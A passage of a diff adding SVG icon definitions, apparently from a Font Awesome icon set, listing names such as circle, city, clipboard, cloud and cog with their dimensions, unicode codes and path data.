32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z" ], + circle: [ 512, 512, [], "f111", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8z" ], + "circle-notch": [ 512, 512, [], "f1ce", "M288 39.056v16.659c0 10.804 7.281 20.159 17.686 23.066C383.204 100.434 440 171.518 440 256c0 101.689-82.295 184-184 184-101.689 0-184-82.295-184-184 0-84.47 56.786-155.564 134.312-177.219C216.719 75.874 224 66.517 224 55.712V39.064c0-15.709-14.834-27.153-30.046-23.234C86.603 43.482 7.394 141.206 8.003 257.332c.72 137.052 111.477 246.956 248.531 246.667C393.255 503.711 504 392.788 504 256c0-115.633-79.14-212.779-186.211-240.236C302.678 11.889 288 23.456 288 39.056z" ], + city: [ 640, 512, [], "f64f", "M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z" ], + "clinic-medical": [ 576, 512, [], "f7f2", "M288 115L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2zm96 261a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8zm186.69-139.72l-255.94-226a39.85 39.85 0 0 0-53.45 0l-256 226a16 16 0 0 0-1.21 22.6L25.5 282.7a16 16 0 0 0 22.6 1.21L277.42 81.63a16 16 0 0 1 21.17 0L527.91 283.9a16 16 0 0 0 22.6-1.21l21.4-23.82a16 16 0 0 0-1.22-22.59z" ], + clipboard: [ 384, 512, [], "f328", "M384 112v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h80c0-35.29 28.71-64 64-64s64 28.71 64 64h80c26.51 0 48 21.49 48 48zM192 40c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24m96 114v-20a6 6 0 0 0-6-6H102a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h180a6 6 0 0 0 6-6z" ], + "clipboard-check": [ 384, 512, [], "f46c", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm121.2 231.8l-143 141.8c-4.7 4.7-12.3 4.6-17-.1l-82.6-83.3c-4.7-4.7-4.6-12.3.1-17L99.1 285c4.7-4.7 12.3-4.6 17 .1l46 46.4 106-105.2c4.7-4.7 12.3-4.6 17 .1l28.2 28.4c4.7 4.8 4.6 12.3-.1 17z" ], + "clipboard-list": [ 384, 512, [], "f46d", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM96 424c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm96-192c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm128 368c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z" ], + clock: [ 512, 512, [], "f017", "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm92.49,313h0l-20,25a16,16,0,0,1-22.49,2.5h0l-67-49.72a40,40,0,0,1-15-31.23V112a16,16,0,0,1,16-16h32a16,16,0,0,1,16,16V256l58,42.5A16,16,0,0,1,348.49,321Z" ], + clone: [ 512, 512, [], "f24d", "M464 0c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48H176c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h288M176 416c-44.112 0-80-35.888-80-80V128H48c-26.51 0-48 21.49-48 48v288c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48v-48H176z" ], + "closed-captioning": [ 512, 512, [], "f20a", "M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM218.1 287.7c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2.1 48 51.1 70.5 92.3 32.6zm190.4 0c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.5 56.9-172.7 32.1-172.7-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 222.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6z" ], + cloud: [ 640, 512, [], "f0c2", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4z" ], + "cloud-download-alt": [ 640, 512, [], "f381", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zm-132.9 88.7L299.3 420.7c-6.2 6.2-16.4 6.2-22.6 0L171.3 315.3c-10.1-10.1-2.9-27.3 11.3-27.3H248V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v112h65.4c14.2 0 21.4 17.2 11.3 27.3z" ], + "cloud-meatball": [ 512, 512, [], "f73b", "M48 352c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm416 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm-119 11.1c4.6-14.5 1.6-30.8-9.8-42.3-11.5-11.5-27.8-14.4-42.3-9.9-7-13.5-20.7-23-36.9-23s-29.9 9.5-36.9 23c-14.5-4.6-30.8-1.6-42.3 9.9-11.5 11.5-14.4 27.8-9.9 42.3-13.5 7-23 20.7-23 36.9s9.5 29.9 23 36.9c-4.6 14.5-1.6 30.8 9.9 42.3 8.2 8.2 18.9 12.3 29.7 12.3 4.3 0 8.5-1.1 12.6-2.5 7 13.5 20.7 23 36.9 23s29.9-9.5 36.9-23c4.1 1.3 8.3 2.5 12.6 2.5 10.8 0 21.5-4.1 29.7-12.3 11.5-11.5 14.4-27.8 9.8-42.3 13.5-7 23-20.7 23-36.9s-9.5-29.9-23-36.9zM512 224c0-53-43-96-96-96-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h43.4c3.6-8 8.4-15.4 14.8-21.8 13.5-13.5 31.5-21.1 50.8-21.3 13.5-13.2 31.7-20.9 51-20.9s37.5 7.7 51 20.9c19.3.2 37.3 7.8 50.8 21.3 6.4 6.4 11.3 13.8 14.8 21.8H416c53 0 96-43 96-96z" ], + "cloud-moon": [ 576, 512, [], "f6c3", "M342.8 352.7c5.7-9.6 9.2-20.7 9.2-32.7 0-35.3-28.7-64-64-64-17.2 0-32.8 6.9-44.3 17.9-16.3-29.6-47.5-49.9-83.7-49.9-53 0-96 43-96 96 0 2 .5 3.8.6 5.7C27.1 338.8 0 374.1 0 416c0 53 43 96 96 96h240c44.2 0 80-35.8 80-80 0-41.9-32.3-75.8-73.2-79.3zm222.5-54.3c-93.1 17.7-178.5-53.7-178.5-147.7 0-54.2 29-104 76.1-130.8 7.3-4.1 5.4-15.1-2.8-16.7C448.4 1.1 436.7 0 425 0 319.1 0 233.1 85.9 233.1 192c0 8.5.7 16.8 1.8 25 5.9 4.3 11.6 8.9 16.7 14.2 11.4-4.7 23.7-7.2 36.4-7.2 52.9 0 96 43.1 96 96 0 3.6-.2 7.2-.6 10.7 23.6 10.8 42.4 29.5 53.5 52.6 54.4-3.4 103.7-29.3 137.1-70.4 5.3-6.5-.5-16.1-8.7-14.5z" ], + "cloud-moon-rain": [ 576, 512, [], "f73c", "M350.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C27.6 232.9 0 265.2 0 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm217.4-1.7c-70.4 13.3-135-40.3-135-110.8 0-40.6 21.9-78 57.5-98.1 5.5-3.1 4.1-11.4-2.1-12.5C479.6.8 470.7 0 461.8 0c-77.9 0-141.1 61.2-144.4 137.9 26.7 11.9 48.2 33.8 58.9 61.7 37.1 14.3 64 47.4 70.2 86.8 5.1.5 10 1.5 15.2 1.5 44.7 0 85.6-20.2 112.6-53.3 4.2-4.8-.2-12-6.4-10.8zM364.5 418.1c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z" ], + "cloud-rain": [ 512, 512, [], "f73d", "M416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96zM88 374.2c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0z" ], + "cloud-showers-heavy": [ 512, 512, [], "f740", "M183.9 370.1c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-192 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm384 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zM416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.2 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96z" ], + "cloud-sun": [ 640, 512, [], "f6c4", "M575.2 325.7c.2-1.9.8-3.7.8-5.6 0-35.3-28.7-64-64-64-12.6 0-24.2 3.8-34.1 10-17.6-38.8-56.5-66-101.9-66-61.8 0-112 50.1-112 112 0 3 .7 5.8.9 8.7-49.6 3.7-88.9 44.7-88.9 95.3 0 53 43 96 96 96h272c53 0 96-43 96-96 0-42.1-27.2-77.4-64.8-90.4zm-430.4-22.6c-43.7-43.7-43.7-114.7 0-158.3 43.7-43.7 114.7-43.7 158.4 0 9.7 9.7 16.9 20.9 22.3 32.7 9.8-3.7 20.1-6 30.7-7.5L386 81.1c4-11.9-7.3-23.1-19.2-19.2L279 91.2 237.5 8.4C232-2.8 216-2.8 210.4 8.4L169 91.2 81.1 61.9C69.3 58 58 69.3 61.9 81.1l29.3 87.8-82.8 41.5c-11.2 5.6-11.2 21.5 0 27.1l82.8 41.4-29.3 87.8c-4 11.9 7.3 23.1 19.2 19.2l76.1-25.3c6.1-12.4 14-23.7 23.6-33.5-13.1-5.4-25.4-13.4-36-24zm-4.8-79.2c0 40.8 29.3 74.8 67.9 82.3 8-4.7 16.3-8.8 25.2-11.7 5.4-44.3 31-82.5 67.4-105C287.3 160.4 258 140 224 140c-46.3 0-84 37.6-84 83.9z" ], + "cloud-sun-rain": [ 576, 512, [], "f743", "M510.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C187.6 233 160 265.2 160 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm-386.4 34.4c-37.4-37.4-37.4-98.3 0-135.8 34.6-34.6 89.1-36.8 126.7-7.4 20-12.9 43.6-20.7 69.2-20.7.7 0 1.3.2 2 .2l8.9-26.7c3.4-10.2-6.3-19.8-16.5-16.4l-75.3 25.1-35.5-71c-4.8-9.6-18.5-9.6-23.3 0l-35.5 71-75.3-25.1c-10.2-3.4-19.8 6.3-16.4 16.5l25.1 75.3-71 35.5c-9.6 4.8-9.6 18.5 0 23.3l71 35.5-25.1 75.3c-3.4 10.2 6.3 19.8 16.5 16.5l59.2-19.7c-.2-2.4-.7-4.7-.7-7.2 0-12.5 2.3-24.5 6.2-35.9-3.6-2.7-7.1-5.2-10.2-8.3zm69.8-58c4.3-24.5 15.8-46.4 31.9-64-9.8-6.2-21.4-9.9-33.8-9.9-35.3 0-64 28.7-64 64 0 18.7 8.2 35.4 21.1 47.1 11.3-15.9 26.6-28.9 44.8-37.2zm330.6 216.2c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z" ], + "cloud-upload-alt": [ 640, 512, [], "f382", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zM393.4 288H328v112c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V288h-65.4c-14.3 0-21.4-17.2-11.3-27.3l105.4-105.4c6.2-6.2 16.4-6.2 22.6 0l105.4 105.4c10.1 10.1 2.9 27.3-11.3 27.3z" ], + cocktail: [ 576, 512, [], "f561", "M296 464h-56V338.78l168.74-168.73c15.52-15.52 4.53-42.05-17.42-42.05H24.68c-21.95 0-32.94 26.53-17.42 42.05L176 338.78V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM432 0c-62.61 0-115.35 40.2-135.18 96h52.54c16.65-28.55 47.27-48 82.64-48 52.93 0 96 43.06 96 96s-43.07 96-96 96c-14.04 0-27.29-3.2-39.32-8.64l-35.26 35.26C379.23 279.92 404.59 288 432 288c79.53 0 144-64.47 144-144S511.53 0 432 0z" ], + code: [ 640, 512, [], "f121", "M278.9 511.5l-61-17.7c-6.4-1.8-10-8.5-8.2-14.9L346.2 8.7c1.8-6.4 8.5-10 14.9-8.2l61 17.7c6.4 1.8 10 8.5 8.2 14.9L293.8 503.3c-1.9 6.4-8.5 10.1-14.9 8.2zm-114-112.2l43.5-46.4c4.6-4.9 4.3-12.7-.8-17.2L117 256l90.6-79.7c5.1-4.5 5.5-12.3.8-17.2l-43.5-46.4c-4.5-4.8-12.1-5.1-17-.5L3.8 247.2c-5.1 4.7-5.1 12.8 0 17.5l144.1 135.1c4.9 4.6 12.5 4.4 17-.5zm327.2.6l144.1-135.1c5.1-4.7 5.1-12.8 0-17.5L492.1 112.1c-4.8-4.5-12.4-4.3-17 .5L431.6 159c-4.6 4.9-4.3 12.7.8 17.2L523 256l-90.6 79.7c-5.1 4.5-5.5 12.3-.8 17.2l43.5 46.4c4.5 4.9 12.1 5.1 17 .6z" ], + "code-branch": [ 384, 512, [], "f126", "M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z" ], + coffee: [ 640, 512, [], "f0f4", "M192 384h192c53 0 96-43 96-96h32c70.6 0 128-57.4 128-128S582.6 32 512 32H120c-13.3 0-24 10.7-24 24v232c0 53 43 96 96 96zM512 96c35.3 0 64 28.7 64 64s-28.7 64-64 64h-32V96h32zm47.7 384H48.3c-47.6 0-61-64-36-64h583.3c25 0 11.8 64-35.9 64z" ], + cog: [ 512, 512, [], "f013", "M487.4 315.7l-42.6-24.6c4.3-23.2 4.3-47 0-70.2l42.6-24.6c4.9-2.8 7.1-8.6 5.5-14-11.1-35.6-30-67.8-54.7-94.6-3.8-4.1-10-5.1-14.8-2.3L380.8 110c-17.9-15.4-38.5-27.3-60.8-35.1V25.8c0-5.6-3.9-10.5-9.4-11.7-36.7-8.2-74.3-7.8-109.2 0-5.5 1.2-9.4 6.1-9.4 11.7V75c-22.2 7.9-42.8 19.8-60.8 35.1L88.7 85.5c-4.9-2.8-11-1.9-14.8 2.3-24.7 26.7-43.6 58.9-54.7 94.6-1.7 5.4.6 11.2 5.5 14L67.3 221c-4.3 23.2-4.3 47 0 70.2l-42.6 24.6c-4.9 2.8-7.1 8.6-5.5 14 11.1 35.6 30 67.8 54.7 94.6 3.8 4.1 10 5.1 14.8 2.3l42.6-24.6c17.9 15.4 38.5 27.3 60.8 35.1v49.2c0 5.6 3.9 10.5 9.4 11.7 36.7 8.2 74.3 7.8 109.2 0 5.5-1.2 9.4-6.1 9.4-11.7v-49.2c22.2-7.9 42.8-19.8 60.8-35.1l42.6 24.6c4.9 2.8 11 1.9 14.8-2.3 24.7-26.7 43.6-58.9 54.7-94.6 1.5-5.5-.7-11.3-5.6-14.1zM256 336c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + cogs: [ 640, 512, [], "f085", "M512.1 191l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0L552 6.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zm-10.5-58.8c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.7-82.4 14.3-52.8 52.8zM386.3 286.1l33.7 16.8c10.1 5.8 14.5 18.1 10.5 29.1-8.9 24.2-26.4 46.4-42.6 65.8-7.4 8.9-20.2 11.1-30.3 5.3l-29.1-16.8c-16 13.7-34.6 24.6-54.9 31.7v33.6c0 11.6-8.3 21.6-19.7 23.6-24.6 4.2-50.4 4.4-75.9 0-11.5-2-20-11.9-20-23.6V418c-20.3-7.2-38.9-18-54.9-31.7L74 403c-10 5.8-22.9 3.6-30.3-5.3-16.2-19.4-33.3-41.6-42.2-65.7-4-10.9.4-23.2 10.5-29.1l33.3-16.8c-3.9-20.9-3.9-42.4 0-63.4L12 205.8c-10.1-5.8-14.6-18.1-10.5-29 8.9-24.2 26-46.4 42.2-65.8 7.4-8.9 20.2-11.1 30.3-5.3l29.1 16.8c16-13.7 34.6-24.6 54.9-31.7V57.1c0-11.5 8.2-21.5 19.6-23.5 24.6-4.2 50.5-4.4 76-.1 11.5 2 20 11.9 20 23.6v33.6c20.3 7.2 38.9 18 54.9 31.7l29.1-16.8c10-5.8 22.9-3.6 30.3 5.3 16.2 19.4 33.2 41.6 42.1 65.8 4 10.9.1 23.2-10 29.1l-33.7 16.8c3.9 21 3.9 42.5 0 63.5zm-117.6 21.1c59.2-77-28.7-164.9-105.7-105.7-59.2 77 28.7 164.9 105.7 105.7zm243.4 182.7l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0l8.2-14.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zM501.6 431c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.6-82.4 14.3-52.8 52.8z" ], + coins: [ 512, 512, [], "f51e", "M0 405.3V448c0 35.3 86 64 192 64s192-28.7 192-64v-42.7C342.7 434.4 267.2 448 192 448S41.3 434.4 0 405.3zM320 128c106 0 192-28.7 192-64S426 0 320 0 128 28.7 128 64s86 64 192 64zM0 300.4V352c0 35.3 86 64 192 64s192-28.7 192-64v-51.6c-41.3 34-116.9 51.6-192 51.6S41.3 334.4 0 300.4zm416 